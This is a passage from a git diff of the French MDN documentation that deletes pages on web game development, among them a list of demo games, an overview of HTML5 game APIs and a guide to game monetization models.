Une chose importante à retenir pour les plateformes gérées, telles que le web, est que votre boucle pourrait arrêter son éxécution pour une période de temps significative. Cela pourrait arriver quand l'utilisateur déselectionne votre onglet et que le navigateur tombe en veille (ou ralenti) son interval de retour requestAnimationFrame. Vous avez plusieurs façons de gérer cela et cela peut dépendre de votre jeu, s'il est pour un seul joueur ou multijoueurs. Certains des choix sont:

- -
    -
  • Considérer le écart comme "une pause" et ne pas prendre en compte le temps. -
      -
    • Vous pouvez probablement voir comment cela peut être problématique pour la plupart des jeux multijoueurs.
      • -
    -
    • -
  • Vous pouvez stimuler l'écart pour faire du rattrapage. -
      -
    • Cela peut être un problème pour de longues pauses et/ou des mises à jour complexes.
      • -
    -
    • -
  • Vous pouvez récupérer l'état du jeu à partir d'un pair sur le serveur. -
      -
    • Ceci n'est pas efficace si votre pair ou le serveur sont périmés eux-aussi, ou s'ils n'existent pas car le jeu en mode un seul joueur n'existe pas et n'a pas de serveur.
      • -
    -
    • -
- -

Une fois que votre boucle principale a été développée et que vous avez pris vos décisions sur un lot d'hypothèses et de compromis qui conviendront à votre jeu, cela devient juste une question d'utilisation de vos décisions pour calculer n'importe quelle physique applicable, intelligence artificielle, sons, synchronisation réseau, et quoique votre jeu ai besoin.

diff --git a/files/fr/jeux/exemples/index.html b/files/fr/jeux/exemples/index.html deleted file mode 100644 index 363e25ed7a..0000000000 --- a/files/fr/jeux/exemples/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: Exemples -slug: Jeux/Exemples -tags: - - Demos - - Exemples - - Jeux - - Web -translation_of: Games/Examples ---- -
{{GamesSidebar}}
  {{IncludeSubnav("/fr/docs/Jeux")}}
- -

Cette page liste un grand nombre de démos de technologies web impressionnantes vous permettant de vous inspirer et de vous amuser. Une preuve de ce qui peut être fait avec Javascript, WebGL et autres. Les deux premières sections listent des jeux tandis que la troisième est une liste de démos de technologies web.

- -
-
-

Démos/Jeux gratuits

- -
-
Orpega
-
Jeu de tir massivement multijoueur sur le thème de l'espace en HTML5 / JavaScript sans moteur et NodeJS pour le serveur (http://orpe.ga/)
-
Beloola
-
Plateforme sociale de réalité virtuelle web pour les passionnés. Expérience disponible à la fois sur écrans 2D et casques de réalité virtuelle (Paramètres / Passer en mode VR)
-
Tanx
-
Un jeu de combat de tanks multijoueurs, créé avec PlayCanvas.
-
Hyper Vanguard Force
-
Un "space shooter" (tireur de l'espace) à défilement vertical.
-
Swooop
-
Un jeu d'aviation : contrôle ton avion et récupère les joyaux. Aussi créé avec PlayCanvas.
-
Save the Day
-
Volez à bord de votre hélicoptère de sauvetage vers la zone sinistrée et sauvez les victimes coincées (ga.me).
-
Polycraft
-
Un jeu de survie, explore l'île et bats les monstres.
-
HexGL
-
Un jeu de course futuriste rythmé.
-
Dead Trigger 2
-
Un jeu d'action avec des zombies, créé avec Unity3D.
-
Angry Bots
-
Une démo de jeu de tir futuriste à la 3ème personne, créé avec Unity3D.
-
Nutmeg
-
Jeu de plateforme action rétro.
-
Back to Candyland
-
Un jeu de type Match 3 (Candy Crush).
-
Biolab Disaster
-
Un jeu de plateforme et de tir à défilement horizontal.
-
X-Type
-
Une démo de "space shooter" (tireur de l'espace) à défilement vertical.
-
Xibalba
-
Un jeu rétro de tir à la première personne (Doom-style).
-
Gorescript
-
Un autre jeu rétro de tir à la première personne.
-
The Wizard
-
Un jeu de réflexion au tour par tour.
-
Hextris
-
Un jeu de réflexion hexagonal ressemblant à Tetris.
-
2048
-
Un jeu de réflexion où il faut faire glisser des tuiles.
-
BananaBread
-
Un jeu de tir à la première personne en 3D développé en utilisant Emscripten, WebGL et WebRTC.
-
Monster Madness
-
Un jeu de tir multijoueur en ligne développé par "Nom Nom Games" et "Trendy entertainment" en utilisant WebGL et asm.js.
-
Auralux
-
Un jeu de stratégie basé sur WebGL et asm.js : capture tous les soleils pour gagner !
-
BrowserQuest
-
Un MMORPG crée par the Little Workshop et Mozilla.
-
Shoot The Rocks
-
Un jeu de tir solo 2D Canvas, dans le style des classiques Asteroids d' Atari, jeux d' arcade depuis 1979.
-
Star Citadel
-
Une nouvelle version de Star Castle, le classique jeu d'arcade 1980 de Cinematronics, construit avec Canvas 2D.
-
- -

Jeux payants

- -
-
Oort Online
-
Un MMO d'exploration, de construction et de bataille (actuellement en développement).
-
A Wizard's Lizard
-
Un RPG d'exploration ressemblant à Zelda.
-
QbQbQb
-
Un jeu de réflexion arcade sur le thème de la science fiction.
-
Elliot Quest
-
Jeu d'aventure rétro aux graphiques 8-bit.
-
RPG MO
-
MMORPG isométrique ayant des similitudes avec RuneScape Classic et Ultima.
-
-
- -
-

Démos diverses

- -
-
WaveGL
-
Visualiseur WebGL pour la source de sons.
-
Canvas Airport Simulation
-
Carte animée montrant les avions décollants et atterrissants à l'aéroport avec les itinéraires de vols.
-
Animation Physics
-
Rendu 3D d'un terrain et de voitures utilisant ammo.js pour les calculs physiques.
-
Volumetric Particle Flow
-
Simulation physique de liquides s'écoulant.
-
Explosion and chain reaction
-
Particules explosant et déclenchant d'autres explosions.
-
Canvas generated planet
-
Une ceinture d'astéroides orbitant autour d'une planète.
-
Digital Fireworks
-
Effets d'explosions de feu d'artifice.
-
Autumn
-
Feuilles automnales qui tombent, illuminées par une source lumineuse. Créé avec Three.js.
-
Fire walk with me
-
Effet de nuage de feu flottant.
-
Rainbow Firestorm
-
Des particules de couleur arc-en-ciel, tombant comme de la pluie, rebondissent sur un terrain d'orbes.
-
Crowd Simulation
-
Simulation d'une foule de personnes agitées  voulant rejoindre des directions opposées.
-
SVG Masking Experiment
-
Une machine à rayons X, créée en utilisant un calque SVG.
-
Realistic Water Simulation
-
De l'eau en mouvement, comme les vagues d'un océan.
-
Dungeon demo
-
Scène de donjon basée sur Haxor avec un personnage jouable.
-
Massive Assault tech demo
-
Archipel avec des véhicules militaires futuristes.
-
Flight Stream
-
Globe en 3D avec des itinéraires d'avions simulés.
-
WebGL filters
-
Démo montrant comment WebGL peut être utilisé pour ajouter des effets à des éléments HTML.
-
SVG isometic tiles
-
Génère des tuiles isométriques avec une matrice SVG.
-
ThreeJS App Player
-
Un lecteur dans lequel il est possible de charger et lancer des exemples de Three.js.
-
-
-
diff --git a/files/fr/jeux/index.html b/files/fr/jeux/index.html deleted file mode 100644 index 7cd59f447e..0000000000 --- a/files/fr/jeux/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Développement de jeux vidéo -slug: Jeux -tags: - - Applications - - Développement - - Jeux -translation_of: Games ---- -
{{GamesSidebar}}
- -
-

Les jeux vidéo sont parmi les activités numériques les plus populaires. L'arrivée continue de nouvelles technologies permet de développer encore des jeux de meilleure qualité et plus performants qui peuvent fonctionner dans n'importe quel navigateur respectant les standards du web.

-
- -

{{EmbedGHLiveSample("web-tech-games/index.html", '100%', 820)}}

- -
-
-

Développement de jeux pour le web

- -

Bienvenue dans le centre de développement de jeux MDN ! Dans cette zone du site, nous fournissons des ressources pour les développeurs web désireux de développer des jeux. Vous trouverez de nombreux tutoriels et articles techniques dans le menu principal à gauche, alors n'hésitez pas à explorer.

- -

Nous avons également inclus une section de références afin que vous puissiez facilement trouver des informations sur toutes les API les plus courantes utilisées dans le développement de jeux.

- -
-

Note: La création de jeux sur le Web s'appuie sur un certain nombre de technologies Web de base telles que HTML, CSS et JavaScript. La Zone "Apprendre" est un bon endroit pour commencer avec les bases.

-
-
- -
-

Portez des jeux natifs sur le Web

- -

Si vous êtes un développeur natif (par exemple écrivant des jeux en C ++), et que vous êtes intéressé par la façon dont vous pouvez porter vos jeux sur le Web, vous devriez en apprendre plus sur notre outil Emscripten - c'est un compilateur LLVM vers JavaScript, qui prend le "bytecode LLVM" (par exemple, généré à partir de C / C ++ en utilisant Clang ou un autre langage) et le compile dans asm.js , qui peut être exécuté sur le Web.

- -

Pour commencer, voir :

- - -
-
- -
-
-

Exemples

- -

Pour une liste d'exemples de jeux, voir notre page exemples. Consultez aussi openwebgames.com pour des ressources et des exemples plus utiles !

-
-
- -

- -

Voir aussi

- -
-
-
-
Build New Games (en)
-
Un site collaboratif avec de nombreux tutoriels concernant le développement de jeux vidéo sur le Web. N'a pas été très actif récemment, mais détient toujours de belles ressources.
-
Creative JS (en)
-
Un ensemble de techniques et d'expérimentations JavaScript, pas nécessairement liées au domaine vidéo-ludique mais qui se révèlent plutôt utiles et impressionnantes. N'a pas été très actif récemment, mais détient toujours de belles ressources.
-
Game programming patterns (en)
-
Un livre en ligne, écrit par Bob Nystrom, qui traite des modèles de programmation dans le contexte du développement de jeux, dans le but d'aider les développeurs de jeux à produire un code plus réussi et plus opérationnel.
-
Gamedev.js Weekly (en)
-
Bulletin hebdomadaire sur le développement de jeux HTML5, envoyé tous les vendredis. Contient les derniers articles, didacticiels, outils et ressources.
-
HTML5 Game Devs Forum (en)
-
Forums pour développeurs, créateurs de "framework" et éditeurs. Posez des questions, obtenez des commentaires, aidez les autres.
-
-
- -
-
-
HTML5 Game Engine (en)
-
Liste des architectures de jeux HTML5 les plus populaires ainsi que leurs classement, fonctionnalités et exemples.
-
JSBreakouts (en)
-
Comparez les clones JavaScript Breakout dans différents systèmes pour vous aider à choisir le bon pour vous.
-
Tuts+ Game Development (en)
-
Tutoriels et articles sur le developpement de jeux en général.
-
HTML5 Gamedev Starter (en)
-
De quoi démarrer pour les nouveaux développeurs de jeux, une liste organisée de liens vers diverses ressources utiles sur le web.
-
js13kGames (en)
-
Concours de codage JavaScript pour les développeurs de jeux HTML5 avec une limite de taille de fichier fixée à 13 kilo-octets. Tous les jeux soumis sont disponibles sous forme lisible sur GitHub.
-
Mozilla Hacks blog (en)
-
Catégorie Jeux sur le blog "Hacks" de Mozilla contenant des articles connexes intéressants.
-
-
-
diff --git a/files/fr/jeux/index/index.html b/files/fr/jeux/index/index.html deleted file mode 100644 index 5253f58521..0000000000 --- a/files/fr/jeux/index/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Index -slug: Jeux/Index -tags: - - Meta -translation_of: Games/Index ---- -
{{GamesSidebar}}
{{IncludeSubnav("/fr/docs/Jeux")}}
- -

{{Index("/fr/docs/Jeux")}}

diff --git a/files/fr/jeux/introduction/index.html b/files/fr/jeux/introduction/index.html deleted file mode 100644 index 8a6c2686a5..0000000000 --- a/files/fr/jeux/introduction/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Introduction au développement de jeux vidéo -slug: Jeux/Introduction -tags: - - Firefox OS - - Guide - - Jeux - - Mobile -translation_of: Games/Introduction ---- -
{{GamesSidebar}}
- -

  {{IncludeSubnav("/fr/docs/Jeux")}}  

- -
Le Web d'aujourd'hui est désormais une plate-forme viable pour créer des jeux époustouflants et de bonne qualité, mais aussi et surtout pour distribuer ces jeux.
- -
 
- -
Imaginez tous les jeux qui peuvent être créés...
- -

Grâce aux technologies web actuelles et aux navigateurs récents, il est tout à fait possible de créer un jeu excellent pour le Web. Et nous ne parlons pas ici de jeux de cartes ou de jeux sociaux multi-joueurs déjà créés il y a longtemps, avec Flash®, mais bien de jeux de tirs en 3D, de RPG etc. Grâce aux améliorations des performances des compilateurs juste-à-temps JavaScript et aux nouvelles APIs, vous pouvez construire des jeux vidéo qui fonctionnent dans un navigateur (ou sur des plateformes HTML5 comme Firefox OS) sans compromettre les performances.

- -

La plateforme HTML5 pour les jeux

- -

Le Web peut vraiment se concevoir comme une plateforme pour les jeux : "le Web est la plateforme". La liste qui suit présente les technologies au cœur de celle-ci.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitésTechnologie
AudioWeb Audio API
GraphismeWebGL (OpenGL ES 2.0)
Mécanismes d'interface utilisateurÉvénements tactiles, Gamepad API, capteurs, WebRTC, Full Screen API, Pointer Lock API
LangageJavaScript (ou C/C++ utilisé avec Emscripten pour être compilé en JavaScript)
RéseauWebRTC et/ou les WebSockets
StockageIndexedDB ou le "cloud"
WebHTML, CSS, SVG, Social API (et plus encore...)
- -

 

- -

L'aspect commercial

- -
En tant que développeur de jeux vidéo, que vous soyez seul ou fassiez partie d'un studio plus grand, vous voulez savoir pourquoi le Web serait pertinent pour votre prochain jeu. Nous verrons ici en quoi le Web peut vous aider :
- -

 

- -
    -
  1. -
    La portée du Web est phénoménale : il est partout. Les jeux construits avec HTML5 peuvent fonctionner sur les smartphones, les tablettes, les PCs et les télévisions connectées.
    -
    2. -
  2. La visibilité de votre jeu et le marketing en sont améliorés. En effet, la promotion de votre jeu n'est pas limitée à un "app store" (magasin d'applications) maîtrisé par quelqu'un d'autre. Vous pouvez tout à fait promouvoir et faire la publicité de votre jeu sur le Web lui-même comme sur d'autres médias. Les liens, les partages effectués sur le Web sont autant d'avantages pour atteindre de nouveaux utilisateurs.
    3. -
  3. Vous disposez d'un contrôle à un endroit important : les paiements. Il n'est pas nécessaire pour vous de reverser 30% de vos revenus à  d'autres simplement parce que votre jeu fait partie de leur écosystème. Vous pouvez décider de votre propre politique tarifaire et utiliser le service de paiement que vous voulez.
    4. -
  4. Le contrôle, encore. Vous pouvez mettre à jour votre jeu dès que vous le souhaitez. Vous n'avez pas à attendre l'approbation de quelqu'un d'une autre entreprise décidant si oui ou non tel ou tel correctif sera livré aujourd'hui ou demain.
    5. -
  5. L'analytique. Plutôt que de vous reposer sur des décisions et influences externes quant aux données dont vous avez besoin, vous pouvez collecter les statistiques que vous voulez, ou bien utiliser un outil analytique tiers de votre choix afin de mesurer les ventes et la portée de votre jeu.
    6. -
  6. Vous pouvez gérer la relation clientèle de façon plus directe, sans que les retours des clients soient limités aux mécanismes d'un magasin d'application. Soyez directement au contact de vos clients, sans intermédiaire.
    7. -
  7. Le Web est partout et vos joueurs peuvent donc jouer où bon leur semble : leurs téléphones, tablettes, ordinateurs de bureau ou portables...
    8. -
- -

 

- -

Les technologies Web pour les développeurs de jeux vidéo

- -

Pour celles et ceux qui souhaitent plonger dans la technique, voici la liste des APIs et des technologies Web qui vont alimenter votre jeu.

- -
-
-
Full Screen API
-
Cette API simple permet à votre jeu de fonctionner en plein écran et d'offrir ainsi une expérience plus immersive.
-
Gamepad API
-
Si vous souhaitez que vos joueurs puissent utiliser des manettes ou d'autres contrôleurs pour votre jeu, vous aurez besoin de cette API.
-
HTML et CSS
-
Combinées ensembles, ces deux technologies vous permettent de construire et de mettre en forme l'interface utilisateur de votre jeu. L'élément HTML {{HTMLElement("canvas")}} permet de gérer des graphismes en deux dimensions.
-
HTML audio
-
L'élément HTML {{HTMLElement("audio")}} vous permet de jouer de la musique et des sons. Si vous souhaitez aller plus loin, l'API Web Audio vous offre plus de possibilités de traitement !
-
IndexedDB
-
Une API puissante, permettant de maintenir les données de l'utilsateur stockées sur son ordinateur ou son appareil. Une bonne façon de sauvegarder l'état d'un jeu ou autre information localement de telle sorte qu'elle ne sera pas téléchargée à chaque fois qu'on aura besoin d'elle. Aussi utile pour rendre le jeu utilisable même quand le joueur n'est pas connecté à internet (comme durant un long vol en avion...).
-
JavaScript
-
JavaScript, est un langage de programmation utilisé sur internet. Il a d'excellentes performances sur les navigateurs modernes et est sans cesse amélioré. Utilisez sa puissance pour coder vos jeux, ou regardez son utilisation dans des technologies comme Emscripten ou Asm.js pour porter facilement vos jeux existants.
-
Pointer Lock API
-
L'API Pointer Lock vous permet de bloquer la souris ou tout autre appareil de pointage à l'intérieur de l'interface de votre jeu, de telle sorte qu'au lieu de recevoir une position absolue du pointeur vous recevrez le delta des coordonnées. Ce qui vous donne une mesure plus précise de ce que fait l'utilisateur, mais aussi l'empêche d'envoyer accidentellement ses entrées ailleurs pour ne pas manquer des actions importantes.
-
SVG (Scalable Vector Graphics)
-
Vous permet de créer des graphiques vectoriels dont l'échelle est fluide, quelle que soit la taille ou la résolution de l'affichage de l'utilisateur.
-
Typed Arrays
-
Les tableaux typés JavaScript vous donnent accès à des données binaires brutes depuis JavaScript ; cela vous permet de manipuler des textures GL, des données de jeu ou tout autre chose, même si ce n'est pas dans un format JavaScript natif.
-
Web Audio API
-
Cette API pour contrôler la lecture, la synthèse et la manipulation de l'audio à partir du code JavaScript vous permet de créer des effets sonores impressionnants, de jouer et de manipuler de la musique en temps réel.
-
WebGL
-
Vous permet de créer à partir de contenu internet des graphismes de hautes performances, avec l'accélération matérielle de graphisme 3D (et 2D). C'est une implémentation qui permet la prise en charge web de OpenGL ES 2.0.
-
WebRTC
-
L'API WebRTC (Real-Time Communications) vous donne le pouvoir de contrôler les données audio et vidéo, y compris la téléconférence, et de transmettre des données d'applications aux utilisateurs et entre utilisateurs. Vous voulez que vos joueurs discutent lorsqu'ils explosent des monstres ? Cette API est faite pour vous.
-
WebSockets
-
L'API WebSocket vous permet de connecter votre application ou site à un serveur pour transmettre des données en temps réel. Parfait pour les jeux d'action multi-joueurs, services de "chat" (discussion) et autres.
-
Web Workers
-
Les "Workers" vous donnent la possibilité de créer des routines qui tournent en arrière-plan avec leur propre code javascript, pour prendre avantage des processeurs multi-core modernes.
-
XMLHttpRequest and File API
-
La combinaison de XMLHttpRequest et de l'API File vous permet d'envoyer et de recevoir toutes les sortes de données que vous voulez (ne vous fiez pas au "XML" dans son nom !) depuis un serveur Web. Il s'agit d'une bonne façon de réaliser diverses choses comme télécharger de nouveaux niveaux du jeu et les éléments de graphismes ou encore transmettre (pas en temps réel) les informations de l'état du jeu vers votre serveur.
-
-
- -

 

diff --git a/files/fr/jeux/introduction_to_html5_game_gevelopment_(summary)/index.html b/files/fr/jeux/introduction_to_html5_game_gevelopment_(summary)/index.html deleted file mode 100644 index e18d9517f8..0000000000 --- a/files/fr/jeux/introduction_to_html5_game_gevelopment_(summary)/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Introduction au développement de jeux HTML5 (résumé) -slug: Jeux/Introduction_to_HTML5_Game_Gevelopment_(summary) -tags: - - Firefox OS - - HTML5 - - Jeux - - Mobile -translation_of: Games/Introduction_to_HTML5_Game_Development_(summary) ---- -
{{GamesSidebar}}
- -
{{IncludeSubnav("/en-US/docs/Games")}}
- -
-

Avantages

- -
    -
  1. Les jeux construits avec HTML5 fonctionnent sur les smartphones, les tablettes, les PC et les téléviseurs intelligents.
    2. -
  2. Annoncez et promouvez votre jeu sur le Web, ainsi que sur d'autres médias.
    3. -
  3. Paiements. Chargez ce que vous voulez et utilisez le service de traitement des paiements de votre choix.
    4. -
  4. Mettez à jour votre jeu quand vous le souhaitez.
    5. -
  5. Collectez vos propres analyses !
    6. -
  6. Connectez-vous plus étroitement avec vos clients,
    7. -
  7. Les joueurs peuvent jouer au jeu n'importe où, n'importe quand.
    8. -
- -

Technologies Web

-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionTechnologie
AudioWeb Audio API
GraphiqueWebGL (OpenGL ES 2.0)
InputÉvénements tactiles, Utiliser l'API Gamepad, capteurs de l'appareil , L'API WebRTC, Utiliser le mode plein écran, Pointer Lock API
LanguageJavaScript (ou C/C++  utilisant Emscripten pour compiler en JavaScript )
NetworkingWebRTC et/ou WebSockets
StockageIndexedDB  ou le "cloud"
WebHTML, CSS, SVG, Social API ( et beaucoup plus! )
- -
-
-
API plein écran
-
Gameplay en plein écran.
-
API Gamepad
-
Utilisez des manettes ou d'autres contrôleurs de jeu.
-
HTML et CSS
-
Créez, stylisez et aménagez l'interface utilisateur de votre jeu.
-
Audio HTML
-
Jouez facilement des effets sonores et de la musique simplement.
-
IndexedDB
-
Stockez les données utilisateur sur leur propre ordinateur ou appareil.
-
JavaScript
-
Langage de programmation Web rapide pour écrire le code de votre jeu.
- Pour porter facilement vos jeux existants Emscripten ou Asm.js
-
API de verrouillage de pointeur
-
Verrouillez la souris ou tout autre périphérique de pointage dans l'interface de votre jeu.
-
SVG (Scalable Vector Graphics)
-
Créez des graphiques vectoriels qui évoluent en douceur, quelle que soit la taille ou la résolution de l'écran de l'utilisateur.
-
Tableaux typés
-
Accédez aux données binaires brutes depuis JavaScript; Manipulez les textures GL, les données de jeu ou tout autre chose.
-
API Web Audio
-
Contrôlez la lecture, la synthèse et la manipulation de l'audio en temps réel.
-
WebGL
-
Créez des graphiques 3D (et 2D) haute performance à accélération matérielle. OpenGL ES 2.0.
-
WebRTC
-
Communications en temps réel pour contrôler les données audio et vidéo, y compris la téléconférence et la transmission d'autres données d'application entre deux utilisateurs comme le chat.
-
WebSockets
-
Connectez votre application ou votre site à un serveur pour transmettre des données en temps réel. Parfait pour l'action de jeu multijoueur, les services de chat, etc.
-
Web Workers
-
Créez des threads d'arrière-plan exécutant leur propre code JavaScript pour les processeurs multicœurs.
-
XMLHttpRequest et File API
-
Envoyez et recevez tout type de données que vous souhaitez à partir d'un serveur Web, comme le téléchargement de nouveaux niveaux de jeu et d'illustrations pour transmettre des informations sur l'état du jeu non en temps réel dans les deux sens.
-
-
diff --git a/files/fr/jeux/publier_jeux/game_monetization/index.html b/files/fr/jeux/publier_jeux/game_monetization/index.html deleted file mode 100644 index 05c6512a27..0000000000 --- a/files/fr/jeux/publier_jeux/game_monetization/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Monétisation du jeu -slug: Jeux/Publier_jeux/Game_monetization -tags: - - Games - - HTML5 - - JavaScript - - Jeux - - Licence - - Monétisation - - annonces - - iap - - image de marque -translation_of: Games/Publishing_games/Game_monetization ---- -
{{GamesSidebar}}
- -

Lorsque vous avez passé votre temps à créer un jeu, à le distribuer et à en faire la promotion, vous devriez envisager d'en gagner de l'argent. Si votre travail est une entreprise sérieuse sur la voie de devenir un développeur de jeux indépendant capable de gagner sa vie, lisez la suite et voyez quelles sont vos options. La technologie est suffisamment mature; maintenant, il s'agit simplement de choisir la bonne approche.

- -

Jeux payants

- -

Le premier choix, le plus évident qui vous vient à l'esprit pourrait être de vendre les jeux de la même manière que pour d'énormes titres AAA — avec un prix initial fixe. Même si le marché numérique est essentiel et que vous n'avez pas besoin d'imprimer des couvertures et de placer votre jeu dans un magasin physique dans des boîtes, pour gagner de l'argent décent en vendant vos jeux à un prix fixe, vous devez investir votre temps et votre argent dans le marketing.

- -

Le prix que vous facturez pour votre jeu dépend du marché, de la qualité de votre jeu et de nombreux autres petits facteurs. Un titre arcade iOS peut être vendu pour 0.99 USD, mais un jeu de bureau plus long de style RPG sur Steam peut coûter 20 USD; les deux prix sont corrects. Vous devez suivre le marché et faire vos propres recherches — apprendre rapidement de vos erreurs est important.

- -

Achats dans l'application

- -

Au lieu de faire payer votre jeu à l'avance, vous pouvre proposer un jeu gratuit avec des achats intégrés (IAPs). Dans ce cas, le jeu peut être acquis sans dépenser un centime — donnez le jeu aux joueurs, mais offrez de la monnaie du jeu, des bonus ou des avantages en argent réel. Des exemples spécifiques peuvent inclure des niveaux bonus, de meilleurs armes ou sorts, ou le remplissage de l'énergie nécessaire pour jouer. Concevoir un bon système IAP est un art en soi.

- -

N'oubliez pas que vous avez besoin de milliers de téléchargements de votre jeu pour rendre les IAP efficaces — seule une petite fraction des joueurs paiera réellement pour les IAP. Comment petit? Cela varie, mais environ une personne sur mille est dans la moyenne. Plus il y a de personnes qui jouent à votre jeu, plus les chances que quelqu'un paie est élevée, donc vos revenus dépendent fortement de vos activités de promotion.

- -

Freemium

- -

Les jeux qui comportent des IAP sont souvent appelés freemium ou free-to-play — un jeu freemium peut être acquis et joué gratuitement, mais vous pouvez payer pour des fonctionnalités supplémentaires (premium), des biens virtuels ou d'autres avantages. Le mot lui-même a acquis des connotations négatives après que les grandes entreprises se soient concentrées sur la création de jeux, dont le but principal était d'obtenir autant d'argent que possible des joueurs au lieu de proposer une expérience amusante. Les pires cas étaient lorsque vous pouviez utiliser de l'argent réel pour payer pour obtenir des avantages par rapport aux autres joueurs, ou lorsqu'ils restreignaient l'accès aux étapes suivantes du jeu à moins que les joueurs ne paient. Le terme «pay to win» a été inventé et cette approche n'est pas appréciée par de nombreux joueurs et développeurs. Si vous souhaitez mettre en œuvre des IAP, essayez d'ajouter de la valeur au jeu avec quelque chose que les joueurs apprécieront au lieu de le retirer et de le facturer.

- -

Add-ons et DLCs

- -

Les Add-ons et les DLCs sont un bon moyen de fournir une valeur supplémentaire à un jeu déjà sorti, mais n'oubliez pas que vous devrez proposer un contenu décent et divertissant pour attirer les gens à l'acheter. Un tout nouvel ensemble de niveaux avec de nouveaux personnages, de nouvelles armes et une nouvelle histoire est un bon matériau pour le DLC, mais pour avoir suffisamment de ventes, le jeu lui-même doit être populaire, sinon aucun joueur ne voudra dépenser son argent durement gagné.

- -

Advertisements

- -

Au lieu de vendre activement les jeux, vous pouvez également essayer de vous procurer un revenu passif — afficher des publicités et s'appuyer sur des activités précédentes liées à la promotion de votre jeu peut en bénéficier, mais votre jeu doit crée une dépendance, ce qui n'est pas aussi facile qu'il y paraît. Vous devez encore le planifier, et à un moment donné vous aurez également besoin d'un peu de chance. Si votre jeu devient viral et que les gens commencent à le partager, vous pouvez obtenir beaucoup de téléchargements et d'argent grâce aux publicités.

- -

De nombreuses entreprises proposent des systèmes de publicité - vous vous inscrivez et leur permettez de diffuser des publicités en échange d'un pourcentage des revenus. On dit que Google AdSense est le plus efficace, mais il n'est pas conçu pour les jeux et c'est une très mauvaise pratique de l'utiliser à cette fin. Au lieu de risquer de fermer votre compte et de bloquer tout l'argent, essayez d'utiliser les portails habituels ciblés par gamedev comme LeadBolt. Ils offrent des systèmes faciles à mettre en œuvre pour afficher les publicités dans vos jeux et partager les gains avec vous.

- -

Les publicités vidéo sont de plus en plus populaires, en particulier sous la forme d'un pré-roll - elles sont diffusées au début de votre jeu pendant son chargement. Et pour savoir où placer les publicités dans votre jeu, cela dépend vraiment de vous. Il doit être aussi subtil que possible pour ne pas trop gêner les joueurs, mais suffisamment visible pour les faire cliquer ou du moins en prendre note. L'ajout de publicités entre les sessions de jeu sur les écrans de jeu est une approche populaire.

- -

Licence

- -

Il existe une approche qui peut fonctionner comme un modèle de monétisation à elle seule, et qui consiste à vendre des licences pour la distribution de votre jeu. Il y a de plus en plus de portails intéressés à montrer vos jeux sur leurs sites Web. Ils suivent diverses stratégies pour gagner de l'argent via vos jeux, mais vous n'avez pas à vous soucier de tout cela car la vente de la licence est généralement une transaction unique. Vous obtenez de l'argent et ils peuvent faire preuve de créativité en utilisant votre jeu pour gagner de l'argent.

- -

Trouver des éditeurs peut être difficile au début — esssayez de les rechercher sur les forums HTML5 Gamedevs. Si vous êtes bien connu, ils peuvent vous contacter. La plupart des offres sont conclues par e-mail lorsque vous parlez à une personne dédiée du côté de l'éditeur. Certains sites Web d'éditeurs ont ces informations facilement disponibles, tandis que d'autres sont plus difficiles à trouver. Lorsque vous atteignez un éditeur, essayez d'être gentil et direct - ce sont des gens occupés.

- -

Licences exclusives

- -

La licence exclusive est un type de licence pour un éditeur — vous avez créé un jeu et vous en vendez tous les droits à une seule entité ainsi que les droits de le redistribuer — Softgames est un exemple d'un tel éditeur. Vous ne pouvez pas le revendre sous quelque forme que ce soit tant que l'éditeur en a les droits - c'est pourquoi les accords exclusifs valent beaucoup d'argent. Combien exactement? Cela dépend de la qualité du jeu, de son genre, de son éditeur et de bien d'autres, mais généralement, ce sera entre 2000 et 5000 USD. Une fois que vous avez vendu une licence exclusive, vous pouvez oublier la promotion de ce jeu particulier car vous ne gagnerez pas plus, alors ne concluez un tel accord que si vous êtes sûr qu'il est suffisamment rentable.

- -

Licences non exclusives

- -

Cette approche est moins stricte - vous pouvez vendre une licence à plusieurs éditeurs. C'est l'approche la plus populaire car avec chaque nouvel éditeur (et ils apparaissent constamment), vous pouvez vendre vos jeux à des conditions non exclusives. N'oubliez pas qu'avec cette licence, l'éditeur ne peut pas la redistribuer davantage - cela s'appelle souvent un accord verrouillé sur le site, car il achète le droit de publier le jeu sur son propre portail. Le coût habituel d'une licence non exclusive est d'environ 500 USD.

- -

Abonnements

- -

Il existe également une option pour obtenir un revenu mensuel passif via un abonnement. Au lieu d'obtenir un paiement unique, vous pouvez obtenir une petite somme d'argent par jeu, par mois - cela peut représenter environ 20 à 50 USD par mois et par jeu. C'est normalement à vous de décider si vous voulez obtenir tout l'argent en une somme forfaitaire ou l'obtenir par mois. N'oubliez pas qu'il peut être annulé, ce n'est donc pas une solution qui fonctionne indéfiniment.

- -

Revenus publicitaires

- -

Vous pouvez implémenter vous-même des publicités dans votre jeu et essayer de trouver le trafic pour gagner un peu, mais vous pouvez également conclure un accord de partage des revenus avec un éditeur. Ils se chargeront de gérer le trafic et partageront les gains - généralement dans un accord 70/30 ou 50/50, collecté par mois.

- -

N'oubliez pas que de nombreux nouveaux éditeurs de mauvaise qualité voudront obtenir votre jeu pour des revenus publicitaires au lieu de l'octroi de licences, car cela leur coûtera moins cher et vous pourriez vous retrouver avec des revenus d'environ 2 USD par jeu pour l'ensemble de la transaction. Soyez prudent lorsque vous traitez avec de nouveaux éditeurs - il est parfois préférable de réduire le coût de la licence pour un éditeur connu plutôt que de risquer une fraude avec un éditeur inconnu pour plus d'argent.

- -

Les éditeurs prenant vos jeux pour le partage des revenus et / ou l'octroi de licences peuvent nécessiter la mise en œuvre de leurs propres API, ce qui peut demander un travail supplémentaire, alors considérez cela également dans vos tarifs.

- -

L'image de marque

- -

Vous pouvez vendre les droits d'utilisation de votre jeu à des fins de branding ou le faire vous-même. Dans le premier cas, c'est presque comme une licence non exclusive, mais le client achètera généralement les droits pour le code et implémentera ses propres graphiques. Dans le second cas, c'est comme un accord indépendant, mais vous réutilisez le code et ajoutez des graphiques fournis par le client, parfois en les implémentant comme il vous le demande. Par exemple, si vous avez un jeu dans lequel un joueur tape des aliments, vous pouvez changer la nourriture des produits du client pour leur faire de la publicité. Les prix de ce modèle varient considérablement en fonction de la marque, du client et de la quantité de travail que vous effectuez.

- -

Autres stratégies de monétisation non axées sur le jeu

- -

